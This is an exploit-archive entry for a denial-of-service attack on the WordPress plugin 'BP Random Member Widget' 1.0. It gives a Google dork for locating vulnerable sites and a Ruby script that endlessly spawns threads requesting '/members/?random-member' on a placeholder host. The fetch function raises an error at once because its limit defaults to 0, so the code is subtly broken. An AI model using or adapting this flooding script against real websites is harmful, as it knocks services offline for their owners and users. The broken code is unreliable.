|
# Exploit Title: Dos BP Random Member Widget Plugin WordPress
# Google Dork: allinurl: ?random-member
# Author: a01001100e@gmail.com
# Software Link: http://wordpress.org/extend/plugins/bp-random-member-widget/
# Version: BP Random Member Widget Version: 1.0
# Tested on: debian 2.6.32-5-686
require 'net/http'
require 'uri'
def fetch(uri_str, limit=0)
raise ArgumentError, 'HTTP redirect too deep' if limit == 0
response = Net::HTTP.get_response(URI.parse(uri_str))
case response
when Net::HTTPSuccess then
print response.code
when Net::HTTPRedirection then
a = response.body
else
response.error!
end
end
print "############################\n"
print "## DOS random-member ##\n"
print "## @author: a01001100e ##\n"
print "############################\n\n\n\n"
while 1 do
begin
t = Thread.new{fetch('http://www.sitio.com/members/?random-member')}
print "."
rescue Exception => msg
print "Error: "
puts msg
end
end
|